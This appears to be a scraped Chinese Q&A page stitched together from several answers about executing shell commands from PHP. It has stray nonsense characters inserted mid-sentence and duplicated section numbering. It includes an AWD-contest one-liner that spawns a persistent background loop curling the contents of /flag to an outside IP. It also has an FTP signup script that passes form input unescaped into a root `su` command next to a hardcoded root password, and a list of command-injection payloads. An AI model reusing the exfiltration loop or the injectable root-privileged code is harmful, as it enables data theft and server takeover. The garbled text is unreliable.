pclose(popen('command &', 'r'));
感謝樓上的朋友。親測有效,在linux中需要讓程序在後台運行才可以,因此必須加&,例如:
pclose(popen("{ while true;do echo 123;sleep 5;done;}&", r));
這條命令注意 { 後面有一個空格。玩awd攻防賽的朋友可以靠這種方式種一個不死的子進程,不斷發送flag給伺服器:
pclose(popen("{ while true;do curl http://192.168.62.1/?flag=`cat /flag`;sleep 5;done;}&", 'r'));
Ⅱ 用PHP實現Ftp用戶的在線管理
領導要我策劃一個網頁設計大賽和Flash創作大賽,要求必須實現在線報名和上傳作品。通過FreeBSD+Apache+PHP+Mysql+FTP我實現了該要求。
實現在線報名和上傳作品的思路是利用網頁表單收集用戶填寫的資料存儲到Mysql資料庫內,同時以該用戶的注冊名創建一個FTP上傳賬號並創建該用戶的相應目錄。
Ftp伺服器是系統默認帶的,採用系統用戶的用戶名和密碼,創建系統用戶就等於創建FTP用戶,FreeBSD是屬於UNIX陣營的操作系統,它沒有象Linux一樣的useradd和groupadd等創建用戶和組的命令,其取而代之的是pw命令加上相應參數來實現,在Freebsd上以管理員的身份創建一個用戶的命令是
以下是引用片段:
echo | pw useradd [-g][groupname] [-s][shelldir][-h 0]
參數g指定用戶組,參數s指定用戶的shell。
如果是普通用戶登陸頌凱慧的話還必須用到su命令,調用的方法是
以下是引用片段:
su root _c 『echo | pw useradd [-g][groupname] [-s][shelldir][-h 0] 』
執行之後系統會要求輸入管理員密碼,輸入密碼就可以以管理員的身份野答執行這個命令了。
實現這步操作的主要難點在於如何通過PHP來調用上面這些系統命孫答令去創建一個用戶,本例是使用PHP中的popen()函數來實現的,該函數執行指令打開文件,語法是int popen(string command, string mode),其打開的文件只能是單向的,只能讀或只能寫,對應的「string mode」為』r』或』w』,「string command」 就是命令字元串,在對文件的操作上可使用 fgets()、fgetss()與fputs()函數,本例用fputs()函數往文件裡面輸入管理員密碼。若是開檔發生錯誤將返回 false 值,最後函數要記得調用pclose()關閉。
下面我們來規劃一下FTP用戶的組,事先我們先用pw groupadd ftpuser創建ftpuse組,讓在線申請的用戶為這個組的成員。為了安全起見,我們不應該給FTP用戶Telnet許可權,所以我們還要專門給他們創建一個shell,使得他們不能通過Telnet正常登陸系統,方法如下:先創建一個文件/bin/ftponly
以下是引用片段:
#!/bin/csh
/bin/cat
XX
You can ony use this username to login ftp server!
And you can not use it to telnet to this system! XX
sleep 10
該文件中XX之間就是顯示給用telnet登陸的用戶看的信息。信息顯示10秒鍾就自動退出了。最後不要忘記用chmod +x /bin/ftponly給這個文件可執行屬性。
然後在/bin/shell文件中添加「/bin/ftponly」,在以後的命令裡面我們就可以利用pw中-s參數把這個shell指定給FTP用戶了。
最後還要注意一個問題,su命令僅僅是wheel管理組的用戶成員才可以使用,當PHP調用su命令的時候也必須以wheel組成員的身份運行,否則系統拒絕運行,而PHP運行系統命令的身份就是Apache Web伺服器運行的身份,初始的用戶名和用戶組都是nobody,所以先得建立一個wheel組的用戶www供apache使用,接著更改Apache的配置文件httpd.conf中的user為www,group為wheel,重新啟動Apache,就可以以新用戶身份運行了。
下面可以創建PHP源文件checkin.php了,代碼如下:
以下是引用片段:
?if (($username!="") and ($userpasswd!=""))//判斷是否有表單提交了信息
{ $rootpasswd="adminpassword"; //定義管理員密碼
$creatuser ="su --login root -c 'echo ".$userpasswd." | pw useradd ".$username." -s /bin/ftponly -g ftpuser _s /bin/ftponly -h 0' "; //這是利用su和pw命令創建用戶的用到的字元串
$fp=popen($creatuser,"w"); //調用popen()函數執行字元串中的命令,返迴文句柄給$fp
fputs($fp,$rootpasswd); //寫入管理員密碼到文件$fp,相當於輸入密碼給系統
pclose($fp);//關閉文件
$creatdir="su --login root -c 'mkdir /home/".$username."'";//創建用戶目錄的命令字元串
$fp=popen($creatdir,"w");//執行命令創建用戶目錄
fputs($fp,$rootpasswd); //輸入管理員密碼
pclose($fp);
$creatdir="su --login root -c 'mkdir /home/".$username."/public_html'";
$fp=popen($creatdir,"w"); //執行命令創建用戶網站根目錄
fputs($fp,$rootpasswd); //輸入管理員密碼
pclose($fp);
$creatdir="su --login root -c 'chown ".$username." /home/".$username."'"; //改變用戶目錄的所有者為用戶自己,初始為運行Apache的用戶www。
$fp=popen($creatdir,"w"); //執行命令
fputs($fp,$rootpasswd); //輸入管理員密碼
pclose($fp);
$creatdir="su --login root -c 'chown ".$username." /home/".$username."/public_html'"; //改變網站根目錄的歸屬
$fp=popen($creatdir,"w");
fputs($fp,$rootpasswd);
pclose($fp);
echo "恭喜".$username.",您的的FTP賬號已經申請成功!請到FTP上登陸,請注意,您沒有Telnet許可權";}
else{?
html
head
title申請FTP賬號/title
meta http-equiv="Content-Type" content="text/html; charset=gb2312"
/head
body bgcolor="#FFFFFF"
div align="center"
p申請FTP賬號/p
form method=POST action="? echo $PHP_SELF; ?"
table width="36%" border="0"
tr
td width="40%"
div align="right"賬號名稱:/div
/td
td width="60%"
input type="text" name="username"
/td
/tr
tr
td width="40%"
div align="right"密碼:/div
/td
td width="60%"
input type="password" name="userpasswd"
/td
/tr
tr
td colspan="2"input type="submit" name="Submit" value="申請"/td
/tr
/table
/form
/div?}?
/body
/html
Ⅲ PHP執行linux系統命令
首先先要給大家介紹PHP執行linux系統命令的幾個基本函數 我曾經很長一段時間都分不清下面幾個函數的具體用法區別 system函數 說明 執行外部程序並顯示輸出資料 語法 string system(string mand int [return_var]); 返回值: 字元串 詳細介紹 本函數就像是 C 語中的函數 system() 用來執行指令 並輸出結果 若是 return_var 參數存在 則執行 mand 之後的狀態會填入 return_var 中 同樣值得注意的是若需要處理用戶輸入的資料 而又要防止用戶耍花招破解系統 則可以使用 EscapeShellCmd() 若 PHP 以模塊式的執行 本函數會在每一行輸出後自動更新 Web 伺服器的輸出緩沖暫存區 若需要完整的返回字元串 且不想經過不必要的其它中間的輸出界面 可以使用 PassThru() 實例代碼
< ?php $last_line = system( ls $retval); echo Last line of the output: $last_line; echo <hr />Return value: $retval; ?>exec函數 說明 執行外部程序 語法 string exec(string mand string [array] int [return_var]); 返回值: 字元串 詳細介紹 本函數執行輸入 mand 的外部程序或外部指令 它的返回字元串只是外部程序執行後返回的最後一行 若需要完整的返回字元串 可以使用 PassThru() 這個函數 要是參數 array 存在 mand 會將 array 加到參數中執行 若不欲 array 被處理 可以在執行 exec() 之前呼叫 unset() 若是 return_var 跟 array 二個參數都存在 則執行 mand 之後的狀態會填入 return_var 中 值得注意的是若需要處理使用者輸入的資料 而又要防止使用者耍花招破解系統 則可以使用 EscapeShellCmd() 實例代碼
<?php echo exec( whoami ); ?> <? $fp = popen( "/bin/ls" "r" ); ?> lishixin/Article/program/PHP/201311/21017
Ⅳ php執行linux命令並輸出終端屏幕顯示的內容(實時)
PHP在linux上執行命令
目錄:
一、PHP中調用外部命令介紹
二、關於安全問題
三、關於超時問題
四、關於PHP運行linux環境中命令出現的問題
一、PHP中調用外部命令介紹
在PHP中調用外部命令,可以用,1>調用專門函數、2>反引號、3>popen()函數打開進程,三種方法來實現:
方法一:用PHP提供的專門函數(四個):
PHP提供4個專門的執行外部命令的函數:exec(), system(), passthru(), shell_exec()
1)exec()
原型: string exec ( string $command [, array &$output [, int &$return_var ] )
說明: exec執行系統外部命令時不會輸出結果,而是返回結果的最後一行。如果想得到結果,可以使用第二個參數,讓其輸出到指定的數組。此數組一個記錄代表輸出的一行。即如果輸出結果有20行,則這個數組就有20條記錄,所以如果需要反復輸出調用不同系統外部命令的結果,最好在輸出每一條系統外部命令結果時清空這個數組unset($output),以防混亂。第三個參數用來取得命令執行的狀態碼,通常執行成功都是返回0。
<?php
exec("dir",$output);
print_r($output);
?>
2)system()
原型: string system ( string $command [, int &$return_var ] )
說明: system和exec的區別在於,system在執行系統外部命令時,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
<?php
system("pwd",$result);
print $result;//輸出命令的結果狀態碼
?>
關於第二個參數結果狀態碼的簡單介紹:
如果返回0是運行成功,
在Bash中,當錯誤發生在致命信號時,bash會返回128+signal number做為返回值。
如果找不到命令,將會返回127。
如果命令找到了,但該命令是不可執行的,將返回126。
除此以外,Bash本身會返回最後一個指令的返回值。
若是執行中發生錯誤,將會返回一個非零的值。
Fatal Signal : 128 + signo
Can't not find command : 127
Can't not execute : 126
Shell script successfully executed : return the last command exit status
Fatal ring execution : return non-zero
3)passthru()
原型: void passthru ( string $command [, int &$return_var ] )
說明: passthru與system的區別,passthru直接將結果輸出到游覽器,不返回任何值,且其可以輸出二進制,比如圖像數據。第二個參數可選,是狀態碼。
<?php
header("Content-type:image/gif");
passthru("/usr/bin/ppm2tiff /usr/share/tk8.4/demos/images/teapot.ppm");
?>
4)shell_exec()
原型: string shell_exec ( string $cmd )
說明: 直接執行命令$cmd
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>
方法二:反撇號
原型: 反撇號`(和~在同一個鍵)執行系統外部命令
說明: 在使用這種方法執行系統外部命令時,要確保shell_exec函數可用,否則是無法使用這種反撇號執行系統外部命令的。
<?php
echo `dir`;
?>
方法三:用popen()函數打開進程
原型: resource popen ( string $command , string $mode )
說明: 能夠和命令進行交互。之前介紹的方法只能簡單地執行命令,卻不能與命令交互。有時須向命令輸入一些東西,如在增加系統用戶時,要調用su來把當前用戶換到root用戶,而su命令必須要在命令行上輸入root的密碼。這種情況下,用之前提到的方法顯然是不行的。
popen( )函數打開一個進程管道來執行給定的命令,返回一個文件句柄,可以對它讀和寫。返回值和fopen()函數一樣,返回一個文件指針。除非使用的是單一的模式打開(讀or寫),否則必須使用pclose()函數關閉。該指針可以被fgets(),fgetss(),fwrite()調用。出錯時,返回FALSE。
<?php
error_reporting(E_ALL);
/* Add redirection so we can get stderr. */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>
Ⅳ 命令執行漏洞
命令執行漏洞的成因:
腳本語言(如PHP )優點是簡潔、方便,但也伴隨著一些問題,如速度慢、無法接觸系統底層,如果我們開發的應用(特別是企業級的一些應用)需要-些除去web的特殊功能時,就需要調用一些外部程序。當應用需要調用一些外部程序去處理內容的情況下, 就會用到些執行系統命令桐漏的函數。如PHP中褲岩的system、exec. shell exec等,當用戶可以控制命令執行函數中的參數時,將可以注入惡局純爛意系統命令到正常命令中,造成命令執行攻擊。
PHP中調用外部程序的主要有以下函數:
system
exec
shell_exec
passthru
popen
proc_popen
全局搜索這些函數,觀察是否可以控制。
命令執行漏洞的防禦:
可控點為待執行的程序
<?php
$arg = $_GET[『cmd』];
if($arg){
system(「$arg」);
}
?>
[if !supportLists]l [endif]/?cmd=id
[if !supportLists]l [endif]/?cmd=pwd
[if !supportLists]l [endif]/?cmd=ifconfig
可控點是傳入程序的整個參數(無引號包裹)
<?php
$arg = $_GET[『cmd』];
if($arg){
system(「ping -c 3 $arg」);
}
?>
我們能夠控制的點是程序的整個參數,我們可以直接用&&或|等等,利用與、或、管道命令來執行其他命令。
/?cmd=127.0.0.1| ifconfig
可控點是某個參數的值(有雙引號包裹)
<?php
$arg = $_GET[『cmd』];
if($arg){
system(「ls -al \」$arg\」」);
}
?>
閉合雙引號。
/?cmd=/home」 | ifconfig;」
可控點是某個參數的值(有單引號包裹)
<?php
$arg = $_GET[『cmd』];
if($arg){
system(「ls -al 『$arg』 」);
}
?>
在單引號內的話,只是一個字元串,因此想要執行命令必須閉合單引號。
/cmd?=/home』 |ifconfig』
命令執行漏洞的防禦:
1、能使用腳本解決的工作,不要調用其他程序處理。盡量少用執行命令的函數,並在disable functions中禁用之。
2、對於可控點是程序參數的情況,使用escapeshellcmd函數進行過濾。
3、對於可控點是程序參數的值的情況,使用escapeshellarg函數進行過濾。
4、參數的值盡量使用引號包裹,並在拼接前調用addslashes進行轉義。
Ⅵ PHP exec() 運行另一個php文件,不等待返回值
可以後台運行,但是建議使用popen和pclose代替exec。同時需要注意php是否添加了環境變數。
<?php
//windows和linux下後台執行方式
$cmd='php2.php';
if(strtoupper(substr(PHP_OS,0,3))=='WIN')
{
pclose(popen('start/B'.$cmd,'r'));
}else
{
pclose(popen($cmd.'>/dev/null&','r'));
}